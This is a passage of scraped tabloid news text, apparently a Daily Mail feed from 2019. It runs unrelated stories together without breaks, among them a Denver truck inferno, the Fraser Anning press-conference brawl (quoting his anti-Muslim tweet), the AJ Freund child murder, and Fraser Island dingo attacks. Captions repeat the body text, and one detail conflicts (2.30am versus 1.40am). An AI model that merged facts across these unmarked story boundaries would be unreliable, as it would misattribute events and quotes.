crashed and exploded into flames, igniting a number of other vehicles in its path. Video footage of the accident's aftermath showed flames raging beneath and around the overpass. Black smoke could be seen rising into the air around the scene. The big rig was one of four that were reportedly involved in the accident, each of them bursting into flames It's hard to distinguish any type of car or truck in this photo of a raging inferno on Interstate 70 From above the scale of the accident is clear with multiple vehicles ablaze A preliminary investigation suggests Aguilera lost control of the semi-truck, resulting in the explosion and fire Engineers have now been called in to check on the stability of the bridge after the blaze hit The road will also have to be resurfaced after it began to melt under the scorching temperatures The blaze lasted for several hours after a diesel spill and lumber only added fuel to the fire The runaway semi-truck plowed into standstill traffic, causing explosions and fire as several more vehicles were hit One of the trucks was carrying lumber. That, coupled with a diesel spill, only added fuel to the fire. A stretch of Interstate 70, a major east-west highway route that runs through Denver into the Rocky mountains, was closed in both directions for several hours and it is unlikely to reopen before Friday morning's commute. Countrymen said engineers from the Colorado Transportation Department were inspecting the overpass bridge for possible structural damage from the fire. There is also road damage from the inferno. Preliminary investigations suggest Aguilera lost control resulting in the explosions and fire as several other vehicles were hit. Thick smoke is seen billowing from the scene of the crash in which 'multiple people' lost their lives on Thursday afternoon It took fire crews several hours to bring the blaze under control and even late into the evening there were still 'hot spots' There were numerous explosions as a result of the accident yet traffic was still driving on the bridge directly above Helicopter footage shows the blaze in its early stages before the fire really took hold It was not immediately clear which vehicles accounted for the fatalities. None of the victims have yet been identified. A West Metro Fire Rescue firefighter was also injured by an explosion, fire officials said. The firefighter was hit by debris, possibly an exploding tire. His injuries were described as minor. A bridge over the Denver crash site was damaged in the blaze, and engineers from the Colorado Department of Transportation responded to check its stability Emergency services described the scene as one of 'carnage' as fire consumed all of the vehicles involved in the accident At 7:15pm on Thursday officials said the highway would remain closed in both directions for several more hours Investigators are trying to a assess the stability of a bridge near the crash which they said was not hit Firefighters are seen tackling the blaze at the devastating scene where Aguilera's semi crashed into other vehicles People were still trapped into burnt out car shells according to authorities Today show host Deborah Knight watched in frustration as she lost control of a live interview and failed to get a word in while two on-air guests ignored her and argued with each other. Senior Labor frontbencher Anthony Albanese went up against Liberal cabinet minister Simon Birmingham on Friday morning to discuss rumoured preference negotiations between the Opposition and controversial mining magnate Clive Palmer's United Australia Party. Minutes into the Nine Network breakfast show segment, Ms Knight failed to get a word in as her political guests went rogue and ignored her. Labor frontbencher Anthony Albanese went up against Liberal minister Simon Birmingham (pictured) on Friday morning to discuss negotiations of a deal between Clive Palmer and Labor However, Mr Albanese and Senator Birmingham continued to interrupt and talk over each other. 'Would you risk doing a deal with someone like Clive Palmer? We know, Albo, Labor has been in talks with him too. He's mercurial at best and he hasn't paid his workers their entitlements. Why are either party talking to him?' Ms Knight asked her guests. Mr Albanese rebutted quickly and refused that Labor has been in talks with Mr Palmer, a former federal MP, to which both Ms Knight and Senator Brimingham both interjected. Both men continue to talk over each other about the issue for the following 60 seconds, completely ignoring Ms Knight's attempts to move the discussion forward. She continued in her attempts to interrupt the men's fighting before accepting defeat, falling silent and resting her chin on her hands. A colleague can be seen patting her on the back while laughter is heard in the background. Both men continue to talk over each other about the issue for the following 60 seconds, completely ignoring Ms Knight's attempts to move the discussion forward 'Alright, let me interrupt, I'm going to do this here, fellas,' Ms Knight says, bringing the argument to a close. The interview was posted to the show's Facebook page with many viewers finding the funny side of the item. 'Birmingham won't let anyone else have their say he just keeps talking over the top,' one user wrote. 'Well that went well didn't it,' another person said. 'Nice try Debbie,' another user commented. Advertisement A Fraser Anning press conference descended into chaos this morning when a violent brawl broke out between a 19-year-old supporter and a photographer. Dramatic footage showed the activist clashing with snapper Dylan Robinson in Dunningham Park at Cronulla in Sydney's south. Mr Robinson was hit in the face several times, thrown to the ground and left with his shirt torn in two before police arrested the young man. The brawl broke out after far-right Queensland senator Anning gave an outdoor speech to announce his Conservative National Party's election candidate for the seat of Cook, held by Prime Minister Scott Morrison. Scuffle: Photographer Dylan Robinson after a confrontation with a supporter following a press conference with Senator Fraser Anning at Dunningham Park at Cronulla in Sydney All smiles: This is the man police arrested after the confrontation took place in Dunningham Park at Cronulla in Sydney Targeted: The scuffle started after Anning supporters were particularly riled up by questions from local newspaper journalist Eliza Barr (centre) Fight: A group reportedly followed Miss Barr (pictured with a photographer) out of the park. A photographer went to check on her and then a scuffle broke out between him and an Anning supporter Mr Robinson was hit in the face several times, thrown to the ground and left with his shirt torn in two before police arrested the young man. Pictured: The brawl While journalists questioned Anning, several of his vocal supporters interrupted and gave their own responses. According to reporters at the scene, they were particularly riled up by questions from local newspaper journalist Eliza Barr. Miss Barr said she had not seen any evidence of hate crimes committed by Muslims in the local area - and one Anning supporter heckled her, saying: 'You live in a world of make believe.' After the press conference, a group reportedly followed her out of Dunningham Park. The 19-year-old man allegedly peppered her with sexist and abusive comments. Mr Robinson followed him and attempted to take his photo before the young man pushed the camera away and allegedly lashed out. Video footage showed the 19-year-old allegedly hitting the photographer in the face several times. Senator Anning was not in the vicinity and waiting on the opposite side of the park. Plain-clothes police at the event swooped in before uniformed officers arrived quickly and arrested the 19-year-old man who was pictured smiling as he was detained. The man was charged with common assault, intimidation and behave in an offensive manner. He was granted strict conditional bail and is due to appear at Sutherland Local Court on Thursday 16 May. Pictures showed the snapper (pictured with local journalist Miss Barr) talking to police with his shirt ripped open A scuffle broke out with the photographer apparently being thrown to the floor. Pictured: Police speaking to a man at the scene Video footage showed the 19-year-old (pictured) hitting the photographer in the face several times. Senator Anning was not in the vicinity and waiting on the opposite side of the park The controversial senator (centre) was giving a speech in Cronulla, south Sydney to announce his Conservative National Party's candidate for Cook Senator Anning holds staunch anti-immigration views and chose to hold his press conference in a suburb with a history of racial tension. The 2005 Cronulla riots saw brawling over several days after a fight broke out between a group of Lebanese youths and lifeguards on the beach. This morning Anning defended his decision to hold the conference in Cronulla. 'As you know, this area is the Prime Minister's seat, and there's been all sorts of problems here with the Muslim immigrants who have come in here and attacked people right here where we're standing now,' the senator said. Anning said he would address the brawl at a press conference in Brisbane at 3.30pm. He Tweeted: 'The people of Cronulla and NSW are very concerned about Muslim immigration and they have every right to. My party will ban all Muslim and Black immigration and ensure safety for Australians once more.' Police said the 19-year-old man is 'likely to be charged'. Mr Morrison said there was 'no place in Australian politics' for violence. 'I find it absolutely appalling... (Senator Anning) is placed last on my ticket and our party's ticket,' the Liberal leader said. The media union later stated: 'It is unacceptable in a democracy for journalists to be physically threatened or assaulted in the course of doing their job.' This is not the first time Anning's press conferences have sparked violence. A protester was violently held by his supporters after he cracked an egg on Anning's head in Melbourne last month. The protester was dubbed Eggboy and hailed by some as a national hero. Senator Anning holds staunch anti-immigration views and chose to hold his press conference in a suburb with a history of racial tension. Pictured: The Cronulla riots of 2005 The 2005 Cronulla riots (pictured) saw brawling over several days after a fight broke out between a group of Lebanese youths and lifeguards on the beach Gavin Hapgood (pictured in 2014), 44, who has been charged with manslaughter for allegedly killing, Kenny Mitchel, 27, in Anguilla, claims it was an act of 'self-defense' The UBS investment banker who has been charged with manslaughter for allegedly killing a maintenance worker while vacationing with his wife and children in Anguilla, claims it was 'self-defense'. Gavin Scott Hapgood, 44, was with his two young daughters in his hotel room at the upscale Malliouhana resort when Kenny Mitchel, 27, was killed there on April 13, according to police spokesman Randy Dick. Hapgood was charged with manslaughter in the case and released on a $74,000 bond that sparked anger among Anguillans, who are demanding that he return to face justice in the British territory of nearly 15,000 people. Though Dick says police do not have a motive in the case, an island source said that Hapgood has claimed that Mitchel pulled a knife and tried to rob him, prompting the banker to fight in self defense. A family spokesperson told PageSix that Hapgood acted 'in self-defense to protect the lives of his young daughters and himself'. Hapgood is an account manager with UBS Global Asset Management in New York City and lives in Darien, Connecticut. Dick said Hapgood was originally held at Her Majesty's Prison in Anguilla after he was denied bail, but he was later released on bond after his attorney appealed to the High Court. Kenny Mitchel, 27, (left and right) died in Anguilla on April 13. Mitchel was a maintenance worker at the upscale Malliouhana resort, where Hapgood and his family were staying Police say that Hapgood's two young daughters were in the room at the Malliouhana resort (above) when Mitchel died. Hapgood said he acted in self defense when Mitchel pulled a knife Video posted to Facebook shows Hapgood being handcuffed and led inside Her Majesty's Prison, and another shows him after he was released being led to a private jet. Hapgood's release prompted a flurry of comments on social media both from residents of Anguilla demanding justice for Mitchel and from foreigners who regularly visit the island, with some saying local anger directed at tourists frightened them. 'It's clear that people are angry over this situation,' Dick said. 'They are very emotional about it. The police continue to perform in a very professional manner, and they allow the law to take its course.' It is unclear how Mitchel ended up in Hapgood's hotel room at the upscale Malliouhana resort where he worked. Hapgood's spokesperson told PageSix that 'despite false reports to the contrary, the Hapgoods never called maintenance'. According to the spokesperson, Mitchel showed up to the family's room 'unannounced in uniform' and claimed 'he was there to fix a broken sink before carrying out his sudden, violent attack on the family'. Dick said that 'there are only two persons who actually know what happened,' adding that police still don't have any definitive answers. Hapgood (pictured, during his arrest) was originally denied bail, but a judge later his application for $74,000 in bail. He is believed to be back in the US but must return to Anguilla by August 22 The case has been explosive in the small island community, and Dick took to Facebook to blast what he called 'racial or prejudicial statements' that he feared would taint the jury pool. 'The comments being made on the RAPF Facebook have no foundation in fact and are likely to incite racial hatred and can prejudice a jury especially since they will be chosen from among the community of Anguilla,' Dick said in a statement on the social media platform. An autopsy report shows Mitchel died of prone restraint, positional asphyxia and received blunt force injuries to his torso, head and neck. Dick declined to say whether Mitchel, who is from Dominica, had a criminal background. Mitchel's causes of death were ruled to be prone restraint, positional asphyxia and blunt force trauma to the head, neck, and torso U.S. public records show Hapgood had never been previously charged with a crime. Hotel staff did not return a message for comment, and neither did Hapgood nor his lawyer, Thomas Astaphan. A representative for UBS told Page Six: 'We are aware of the recent events in Anguilla and are following the situation closely. As you will appreciate, it would not be appropriate for us to provide any comment in relation to an active criminal proceeding.' Hapgood's attorney has said he will return to Anguilla for an August 22 hearing as required by law. Dick rejected speculation among Anguillans that he might not appear for the hearing. 'We will have to wait until that time to see what happens,' Dick said. Advertisement Russian President Vladimir Putin today praised Chinese President Xi Jinping's multibillion-dollar Belt and Road Initiative, saying it meshes perfectly with the goals of the Russian-led Eurasian Economic Union. Putin's comments to the Belt and Road forum in Beijing could ease concerns over potential tensions between China and Russia, given Beijing's rapidly expanding economic footprint in Central Asia, which is seen as Moscow's traditional sphere of influence. The three-day forum is the diplomatic highlight of the year for China, with 37 world leaders in attendance, along with 5,000 other representatives from 150 countries. But the country's largest trading partner, the United States, was absent. Handshake of the iron fists: Russian President Vladimir Putin today praised Chinese President Xi Jinping's multibillion-dollar Belt and Road Initiative, saying it meshes perfectly with the goals of the Russian-led Eurasian Economic Union Putin and Xi Jinping attend a meeting at Friendship Palace in Beijing today. Putin visited Beijing just after wrapping up a summit with North Korean leader Kim Jong-un in Russia's Far Eastern port city of Vladivostok Putin's comments to the Belt and Road forum could ease concerns over potential tensions between China and Russia, given Beijing's rapidly expanding economic footprint in Central Asia, which is seen as Moscow's traditional sphere of influence The US' attitude towards the ambitious Belt and Road Initiative has undergone a shift in recent years that largely reflects the tense state of relations between the two nations. Washington sent a senior White House official to the first BRI summit in 2017 but has dismissed the initiative as a 'vanity project' and rebuked Italy for signing up to the scheme. Xi's signature foreign policy, in its sixth year, aims to reinvent the ancient Silk Road to connect Asia to Europe and Africa through massive investments in maritime, road and rail projects. In a speech to kick off the summit, Xi sought to bat away concerns about his ambitious initiative, saying his global infrastructure project will have 'zero tolerance' for corruption while vowing to prevent debt risks. In a speech to kick off the summit, Xi sought to bat away concerns about his ambitious initiative, saying his global infrastructure project will have 'zero tolerance' for corruption while vowing to prevent debt risks The three-day forum is the diplomatic highlight of the year for China, with 37 world leaders in attendance, along with 5,000 other representatives from 150 countries. But the country's largest trading partner, the United States, was absent Russian President Vladimir Putin receives a diploma during the Tsinghua University's ceremony at Friendship Palace in Beijing Putin and Xi shake hands after Putin was given a Tsinghua University honorary doctorate degree in Beijing today He also offered soothing remarks to the US over subsidies, the yuan and trade as the two sides head into fresh high-level talks next week. The policy offers to bring much-needed modern infrastructure to developing countries, but critics say it mainly favours Chinese companies while saddling nations with debt and causing environmental damage. The opacity of deals between Chinese companies and local governments has also raised alarm. 'Everything should be done in a transparent way and we should have zero tolerance for corruption,' Xi said at the gathering which ends Saturday. China has also rejected accusations that Belt and Road is a 'debt trap' and a geopolitical tool for Beijing's ambitions of becoming a global superpower. 'The Belt and Road is not an exclusive club,' Xi said. Xi Jinping gives a speech for Putin during the Tsinghua University's ceremony at Friendship Palace in Beijing Xi's signature foreign policy, in its sixth year, aims to reinvent the ancient Silk Road to connect Asia to Europe and Africa through massive investments in maritime, road and rail projects. Above, Putin listens to Xi during a meeting on today Xi's signature foreign policy offers to bring much-needed modern infrastructure to developing countries, but critics say it mainly favours Chinese companies while saddling nations with debt and causing environmental damage In a nod to the concerns over loans, he added: 'We also need to ensure the commercial and fiscal sustainability of all projects so that they will achieve the intended goals as planned.' His comments came a day after Finance Minister Liu Kun said China would present the forum a debt sustainability framework to 'prevent debt risks' - a move welcomed by International Monetary Fund chief Christine Lagarde. Pakistani Prime Minister Imran Khan, who said his country was an 'enthusiastic' supporter of Belt and Road, called for the creation of an office for anti-corruption cooperation. The two countries are building the China-Pakistan Economic Corridor (CPEC), a multi-billion-dollar project linking the northwest Chinese region of Xinjiang to the Arabian sea port of Gwadar. Amid warnings that some of the massive projects are causing environmental damage in Asia, Xi said China will also promote 'green' development. Amid warnings that some of the massive Belt and Road projects are causing environmental damage in Asia, Xi said China will also promote 'green' development Xi speaks during a keynote speech at the opening ceremony of the Belt and Road Forum today. The initiative aims to reinvent the ancient Silk Road to connect Asia to Europe and Africa through massive investments in maritime, road and rail projects Eric Olander, managing editor of the non-partisan China Africa Project website, said there is no data to backup claims that BRI worsens debt problems, but US criticism has had an impact. 'I think the president wants to change that narrative so he can rebrand and reposition BRI away from the debt issue and more towards China's development story that he wants to tell,' Olander told AFP. Leaders from 37 countries are in Beijing for the three-day forum, with officials from scores of other nations in attendance. Khan, Putin and Italian Prime Minister Giuseppe Conte, whose country became the first G7 member to sign up to Belt and Road, are among the headliners. EU powers Germany and France have sent ministers to the summit. Putin told leaders attending the conference that China's moves 'fit perfectly into our plans', referring to the Eurasian Economic Union. Putin called for a global response against protectionism, unilateral sanctions and 'trade wars' - veiled criticisms of the US Putin told the conference that China's moves 'fit perfectly into our plans', referring to the Eurasian Economic Union The Union groups Russia with Armenia, Belarus, Kazakhstan and Kyrgyzstan in a common market that seeks to remove barriers to the free movement of goods, services, capital and labor. The five member states 'unanimously supported the idea of linking the construction of the Eurasian Economic Community' and the Belt and Road, Putin said. Separately, Putin met with Xi at Friendship Palace today. He visited Beijing just after wrapping up a summit with North Korean leader Kim Jong-un in Russia's Far Eastern port city of Vladivostok. Putin called for a global response against protectionism, unilateral sanctions and 'trade wars' - veiled criticisms of the US. With US negotiators heading to China for a new round of trade talks next week, Xi repeated a pledge to increase imports and vowed to abolish 'unjustified' subsidies to Chinese firms - both key US demands. Since Xi launched BRI in 2013, China has invested US$90 billion (70 billion) in projects while banks have provided upwards of US$300 billion (232 billion) in loans, according to Chinese officials. The five member states of the Eurasian Economic Union 'unanimously supported the idea of linking the construction of the Eurasian Economic Community' and the Belt and Road, Putin said on Friday The Union groups Russia with Armenia, Belarus, Kazakhstan and Kyrgyzstan in a common market that seeks to remove barriers to the free movement of goods, services, capital and labor. Above, Xi and Putin shake hands at the Tsinghua University ceremony today But examples of debt trouble abound. Sri Lanka turned over a deep-sea port to China for 99 years after it was unable to repay loans. Pakistan needs an international bailout. Pushing back has proved a successful election issue in Sri Lanka, the Maldives and Malaysia, as the Chinese project was used to whip up fears about eroding sovereignty. After his electoral victory last May, Malaysian Prime Minister Mahathir Mohamad cancelled some planned works and renegotiated a rail project cutting 30 percent off the price tag. But Mahathir said at the summit that 'the Belt and Road idea is great' and he 'fully' supports it. Britain is committed to help realise the potential of China's Belt and Road Initiative (BRI), British finance minister Philip Hammond said today. Hammond said the BRI must work for everyone for it to turn into a sustainable reality and offered British expertise in project financing. A gay bookshop has divided war veterans by posting an Instagram image of a naked man to promote Anzac Day trading. The Bookshop Darlinghurst, in Sydney's inner-east, used a graphic of a muscular man, next to some red poppies, to inform customers the store would be open on the public holiday dedicated to remembering the sacrifice of diggers. 'We're open today Anzac Day,' it said on its since-deleted social media post. The Bookshop Darlinghurst, in Sydney's inner-east, used a graphic of a muscular man, next to some red poppies, to inform its customers the store would be open on the public holiday dedicated to remembering the sacrifice of diggers Australian Defence Association executive director Neil James said the graphic was a little disrespectful to men and women who had served in uniform. 'People should respect the Anzacs rather than do something that's perhaps in bad taste,' he told Daily Mail Australia. Mr James, however, said the bookshop at Darlinghurst had not broken the law as it wasn't selling any Anzac-branded merchandise and was a reflection of free speech. 'This is 2019. The philosophical point that I'd make is that our diggers died in war so that people had the freedom to do things even if they're in bad taste,' he said. Iraq war veteran Bernard Gaynor, who did three tours of duty to the Middle East between 2006 and 2009, however, found the graphic particularly offensive. 'It is completely inappropriate that an erotic homosexual bookshop used a pornographic image in combination with the poppy to promote itself on Anzac Day,' he told Daily Mail Australia on Friday. Iraq war veteran Bernard Gaynor, who served as a captain in Iraq, said the Oxford Street bookshop (pictured) in Sydney's gay district had shown complete disregard for those who had served on the frontline of battle The Bookshop Darlinghurst regularly posts tongue-in-cheek memes on Instagram. During Easter, it featured a graphic of a naked man holding a giant Easter egg to promote its long-weekend trade Mr Gaynor, who served as a captain in Iraq, said the Oxford Street bookshop in Sydney's gay district had shown complete disregard for those who had served on the frontline of battle. The Bookshop Darlinghurst regularly posts tongue-in-cheek memes on Instagram. During Easter, it featured a graphic of a naked man holding a giant Easter egg over his groin, as bunnies hopped on his legs, to promote its long-weekend trade. The store also sells calendars featuring naked young men and pornographic magazines featuring sealed sections. Daily Mail Australia sought a comment from the business. Inmates in the jail where 'killer parents' JoAnn Cunningham and Andrew Freund Sr are being held appeared to send them a message on Thursday, after 'RIP AJ' signs were spotted from windows above the building entrance. Cunningham, 36, and Freund Sr, 60, appeared in the McHenry County jail courtroom in Woodstock. Illinois, on Thursday morning to face a slew of charges related to the five-year-old's horrific murder and subsequent attempted cover-up. Photographs taken from outside the prison walls show inmates' signs signalling their sympathy for the tragic boy, with 'RIP AJ' signs clearly visible from at least three different windows. Scroll down for video Inmates in the jail where 'killer parents' JoAnn Cunningham and Andrew Freund Sr are being held appeared to send a message on Thursday, after 'RIP AJ' signs were clearly visible from windows above the building entrance JoAnn Cunningham, 36, and Andrew Freund Sr, 60, appeared in front of a judge on Thursday morning at the McHenry County jail to face charges in the death and disappearance of their five-year-old son AJ. They are each being held in lieu of $5million bail Photographs taken from outside the prison walls show inmates appearing to send a signal, with the RIP AJ signs written variously from at least three different windows Prosecutors alleged the parents forced their son 'to remain in a cold shower for an extended period of time' and struck him repeatedly on April 15 'knowing said acts would cause the death of [AJ]'. Freund Sr allegedly buried the boy the same day, and three days later on April 18 the parents told police their son had vanished from his bed at their home in Crystal Lake, Illinois. They each issued desperate pleas for their son's return as local law enforcement and the FBI carried out a sweeping six-day search. Cunningham, who is seven months pregnant, shook her head from side to side and choked back tears while the charges against her were read, the Chicago Tribune reported. Freund Sr appeared after her and showed no emotion as he gripped the podium. Judge Mark Gerhardt set their bail at $5million each, telling both parents: 'These are serious allegations.' They would have to post a 10 percent bond, or $500,000, to be released. Prosecutors alleged that AJ was beaten to death but did not specify by which parent. An official cause of death has not been determined as an autopsy is scheduled for Thursday Photographs taken from outside the prison walls show inmates appearing to send a signal, with the RIP AJ signs written variously from at least three different windows AJ, whose given name was Andrew, was found early Wednesday wrapped in plastic and buried in a rural area of Woodstock about 10 miles from the family's home. The McHenry County Coronoer's Office confirmed Thursday that the body had been identified as AJ. A statement from the coroner's office said: 'An autopsy conducted Thursday resulted in a finding of the cause of death as craniocerebral trauma as a consequence of multiple blunt force injuries.' Harrowing pictures of a body bag containing AJ's remains emerged hours after police announced the arrest of his parents. Cunningham is facing five counts of first-degree murder, four counts of aggravated battery, two counts of aggravated domestic battery and one count of failure to report a missing or child death. Freund Sr is facing five counts of first-degree murder, two counts of aggravated battery, one count of aggravated domestic battery, two counts of concealment of a homicidal death and one count of failure to report a missing child or child death. Investigators with the McHenry County Coroner's office were seen loading AJ's body into a minivan after he was found wrapped in plastic and buried in a shallow grave on Wednesday, in a rural area of Woodstock, Illinois, a few miles from the family's home in Crystal Lake This map shows AJ's Crystal Lake home in relation to where his body was found in Woodstock Authorities had focused the investigation on the home early on after no evidence was found indicating that AJ was abducted or that he wandered off on his own. Earlier on Wednesday investigators were seen carrying items including a dirt-caked shovel, two brown bags, a plastic storage bin and a small mattress out of the house. The family dog, a brown Boxer named Lucy, was taken into custody by Animal Control officials. Investigators were seen collecting evidence from AJ's home in Crystal Lake on Wednesday The items removed from the house included a dirt-caked shovel, two brown bags, a plastic storage bin and a small mattress Information provided by both parents as well as forensic cellphone data were used to locate AJ's body in Woodstock's Hennen Conservation Area, where investigators are seen above There is growing anger over why AJ was allowed to remain with his parents despite child services visiting the family home 17 times before his death. The home was known to be filthy, while his lawyer father had his license revoked for a cocaine abuse conviction and sought therapy for an opioid problem. Police reports relating to a separate matter obtained by the DailyMail.com reveal that officers attending the home noted an 'overwhelming smell of dog feces and urine' - and that the house was in 'disrepair' with living conditions 'unacceptable.' The heavily redacted reports also stated bruises were noticed on one of the young boys in December but that the children appeared to be 'healthy and happy' and were not removed from the house. Despite all this, no attempt was made in five years to remove AJ and his three-year-old brother, who was removed from the home last Friday. The Illinois Department of Child Services released the following statement after AJ's death was announced: 'After a nearly week-long search for missing Andrew 'A.J.' Freund, law enforcement officials today confirmed his death. This news is heartbreaking. 'Protecting vulnerable children who come to our attention is at the core of our mission at DCFS. All of us feel this loss. Our priority is the care and safety of Andrew's younger sibling. We will continue to cooperate with law enforcement in their ongoing investigation. 'The Department is committed to conducting a comprehensive review of the entirety of our work with Andrew's family to understand our shortcomings and to be fully transparent with the public on any steps we are taking to address the issues.' Mourners gather outside AJ's home for a vigil after his body was discovered on Wednesday Cunningham is comforted by her attorney on Friday as she pleaded for her son's return Cunningham's lawyer George Kililis spoke to reporters on her behalf on Friday, saying the mother is 'worried sick' about her son and 'had nothing to do with' the boy's disappearance Police visited AJ's home 17 times before he went missing and found it was covered in dog feces Cunningham was arrested on the night AJ was reported missing for failure to appear in court on a charge of driving with a suspended license stemming from an incident in December. According to police reports obtained by DailyMail.com, officers were dispatched to the home where Cunningham lived with AJ and his three-year-old brother on December 18 after the mother claimed that her prescription medication had been stolen. Officer Nickolaus Trimpe wrote in a report that the living conditions at house were not 'up to an acceptable standard' and said there was 'dog feces and urine scattered about'. Trimpe also observed several broken or open windows letting in frigid winter air. He said the fireplace, the home's sole source of heat, appeared to be in disrepair. Another responding officer, Kimberly Shipbaugh, wrote in her report: 'While in the residence I observed it to be cluttered, dirty and in disrepair. 'The floor in the kitchen had portions that were jagged and broken off. The ceiling in the kitchen appeared to have water damage and was peeling and open in one portion. 'The door appeared to be covered in a brown substance. The living room had a couch that was completely covered in piles of clothing. The dining room was covered in clothes and boxes and bags. 'Upstairs in the room where the boys slept the window was open and the smell of feces was overwhelming. Officer Shipbaugh wrote that during the burglary investigation she spotted a suspicious bruise on one of the boy's legs. 'The boys were running around the residence playing and I noticed [name redacted], who was wearing a pull-up [diaper], to have a large bruise on his right hip. I asked [Cunningham] about the bruise and she advised that she hadn't noticed it before. 'After looking at it she stated that it must have been from the dog, Lucy.' The officers contacted the Department of Children and Family Services, which did not find any evidence of abuse. The December incident was one of an alleged 17 times DCFS visited the home since his birth in 2013. Spokesman Jassen Strokosch said the boy went into foster care for two years after he was born with opiates in his system and 'neglect was indicated on part of the mom', Strokosch said. Authorities were called to the home in September of last year after a concerned citizen reported that the power hadn't been on at the residence for weeks. 'Upon our arrival I could see the grass at the residence was about two feet long and the paint was peeling off the house,' a responding officer wrote in a police report. 'The windows also seemed to be falling apart.' The officer observed that the electricity meter was not running, and when he spoke to Cunningham she admitted that the power had been off for a while but could not specify how long. The mother would not allow the officers to enter the home and check the living conditions. When informed about the situation, DCFS said they would not perform a utility check because 'a residence without power alone does not warrant a DCFS investigation,' the report claimed. Records show that child protective services had visited AJ's home (above) on 17 occasions since his birth in 2013 In yet another incident one month earlier, officers responding to a call about a theft of prescription drugs reported that two adults at the home, believed to be Cunningham and Freund Sr, appeared to be under the influence of narcotics. Freund Sr is a divorce attorney who met Cunningham in 2012 while handling her divorce. According to the Illinois Attorney Registration and Disciplinary Commission, the father had his license suspended from October 13, 2015 until January 11, 2016, due to offenses related to when he represented her in the marriage dissolution case. After a court issued an injunction prohibiting Cunningham from taking any property from the marital home, she and Freund Sr allegedly went there anyway and took several items including televisions and silverware. They were both subsequently convicted of indirect criminal contempt, according to disciplinary records. Freund Sr was later diagnosed with opioid and cocaine use disorders and was ordered to attend a 12-step program as part of his probation. HAPPENING NOW: @CrystalLakePD, McHenry Co. Animal Control remove dog from home where 5-year-old Andrew AJ Freund went missing last Wednesday. @cbschicago pic.twitter.com/iXkoqvAE4w Eric Tyler (@EricTylerTV) April 24, 2019 The family's Boxer named Lucy was removed from the house by Animal Control on Wednesday AJ's mother 'refused to cooperate with investigators' after he went missing Authorities claimed in a Monday press release that Cunningham hadn't spoken to police since she first reported AJ missing on Thursday morning. Cunningham's lawyer George Kililis told reporters that she had 'cooperated extensively with police until at some point we got the impression that she may be considered a suspect', the Chicago Sun-Times reported. 'I don't know whether she is or not and I don't know how serious that consideration is,' Kililis said of his client. Cunningham's attorney said the mother 'doesn't know what happened to AJ and had nothing to do with the disappearance of AJ'. 'Ms Cunningham is worried sick,' he added. 'She is devastated.' Kililis stopped representing Cunningham the day after she was charged. AJ's father sent a direct message to his son, telling him to 'please come home.' 'We love you very much,' he said. 'You're not in any trouble. We're just worried to death. Please, please come home.' Investigators initially searched nearly 1,000 acres surrounding the family's home using drones and scanned Crystal Lake with sonar and underwater cameras. They brought in a canine team which picked up AJ's scent at the house, indicating that he hadn't walked away on foot. Law enforcement said they did not send out an Amber Alert when AJ was first reported missing as there was no evidence to suggest he had been kidnapped from the home. A man was violently stabbed to death by a stranger in a horrific random attack before he was left to bleed out on the street. Emergency services were called to an intersection in Logan, south of Brisbane, at 5am on Friday where they found the 40-year-old man laying in the street. Queensland Police have since charged a 40-year-old man over the death, wearing a blue gown and sticking his tongue out to the public as police escorted him to a van. A man was violently stabbed to death by a stranger in a horrific random attack before he was left to bleed out on the street Emergency services were called to an intersection in Logan, south of Brisbane, at 5am on Friday where they found the 40-year-old man laying in the street The Courier Mail reported the man is due to face Beenleigh Magistrates Court on Saturday. The victim was found with severe head, neck and chest injuries at the intersection of Defiance Road and North Road at Woodridge. Paramedics treated the man at the scene and fought to save his life, rushing him to hospital still alive. He was taken to Princess Alexandra Hospital where he later died. Logan Police Acting Detective Inspector Chris Knight told reporters the victim and his attacker were strangers and didn't have any contact before the assault. Mr Knight said the men had a 'random connection' that they believe escalated quickly into the assault. The victim was found with severe head, neck and chest injuries at the intersection of Defiance Road and North Road at Woodridge 'They unfortunately crossed paths and the devastating outcome eventuated,' he said. 'It's a horrible incident. There's nothing to suggest this is anything other than a random assault, which of course is very concerning.' Neither drugs or alcohol were believed to have been involved in the attack. Authorities are urging anyone who may have heard or seen a disturbance to contact police immediately. People who feed dingoes could cop fines of more than $10,000 after a toddler was dragged from a camper trailer on Fraser Island. The Queensland government has doubled the maximum fine to $10,444. The minimum fine is now more than five times what it was and stands at $2088. More fenced camping sites will also be created on the island, and a major education campaign run to help improve visitor safety. Environment Minister Leeanne Enoch said people must understand that feeding dingoes emboldens them, and increases risks for humans. The Queensland government has doubled the maximum fine to $10,444. The minimum fine is now more than five times what it was and stands at $2088 (stock image) 'Increasing fines for those who deliberately disturb dingoes or feed them sends a very clear message about how dangerous the practice is,' she said. Work is underway to identify sites for new fenced areas at locations not accessible to dingoes. Rangers have increased patrols and fined six people over the Easter school holidays for not properly securing food. A 14-month-old boy needed surgery earlier this month after a dingo dragged him from his camp bed, leaving him with a fractured skull and puncture wounds. One of the dingoes bit the boy's neck and began dragging him into the bush by his head before his father heard his screams and fought the dogs off. The boy was airlifted to hospital by RACQ LifeFlight Rescue after he was attacked by the dingoes on Fraser Island, Queensland The boy was treated by paramedics stationed on the island before an RACQ LifeFlight helicopter arrived about 2.30am on Friday The father looked outside then heroically confronted the dingoes and rescued his child before chasing some of the pack away. 'He was apparently grabbed around the back of the neck area and dragged away,' the pilot Frank Bertoli told reporters at the time. 'If it wasn't for the parents fighting off the dingo he could have had much more severe injuries.' The dingoes were believed to have crawled underneath a canvas flap over the doorway and taken the boy as he slept. 'I think he made his way under the canvas to get into the camper trailer,' Mr Bertoli said. 'It's pretty horrific to hear something like that come over the phone and we just wanted to get there to be able to help. The boy was bleeding heavily but was in a stable condition in Hervey Bay Hospital by morning. He was later transferred to Queensland Children's Hospital in Brisbane He suffered a fractured skull, puncture wounds to his neck and head, and cuts on his legs, scalp and body in the attack 'They said that the main dingo was surrounded by others.' The boy's four-year-old sister was also sleeping in the campervan near their parents when the dingoes entered. The boy was treated by paramedics stationed on the island before an RACQ LifeFlight helicopter arrived about 1.40am on Friday. The boy was bleeding heavily but was in a stable condition in Hervey Bay Hospital by morning. He was later transferred to Queensland Children's Hospital in Brisbane. The latest incident is an eerie reminder of a case which captivated Australia in 1980, when Lindy Chamberlain's nine-week-old baby Azaria was taken by a dingo in the Northern Territory Paramedic Ben Du Toit advised visitors to avoid dingoes and never to venture out on the island alone. There have been nine dingo attacks on Fraser Island in the past 20 years, and the third this year after a six-year-old boy Michael Schipanski was mauled in January. A month later, two tourists including a nine-year-old boy and his mother were attacked as they tried to run back to their vehicle. Fraser Island dingo safety guide Dingoes are enough of an issue on Fraser Island that the Queensland Parks and Wildlife Service has detailed information on how to stay safe around them. 'Stay very close - within arm's reach - 